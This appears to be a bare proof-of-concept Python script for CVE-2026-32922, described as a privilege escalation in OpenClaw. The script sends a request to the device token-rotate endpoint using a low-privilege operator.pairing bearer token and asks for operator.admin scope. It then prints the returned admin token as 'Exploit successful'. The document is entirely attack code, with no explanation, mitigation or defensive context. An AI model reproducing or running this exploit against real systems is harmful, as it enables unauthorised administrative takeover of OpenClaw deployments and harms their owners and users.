CVE-2026-32922

# PoC for CVE-2026-32922: OpenClaw Privilege Escalation # Attacker needs operator.pairing scope import requests target_url = "https://<openclaw-host>/api/device/token/rotate" headers = { "Authorization": "Bearer <operator_pairing_token>", "Content-Type": "application/json" } # Exploit: requesting higher scope (operator.admin) than held payload = { "new_scope": "operator.admin", "device_id": "<target_device_id>" } response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! New token obtained:") print(response.json().get("token")) else: print("[-] Exploit failed")

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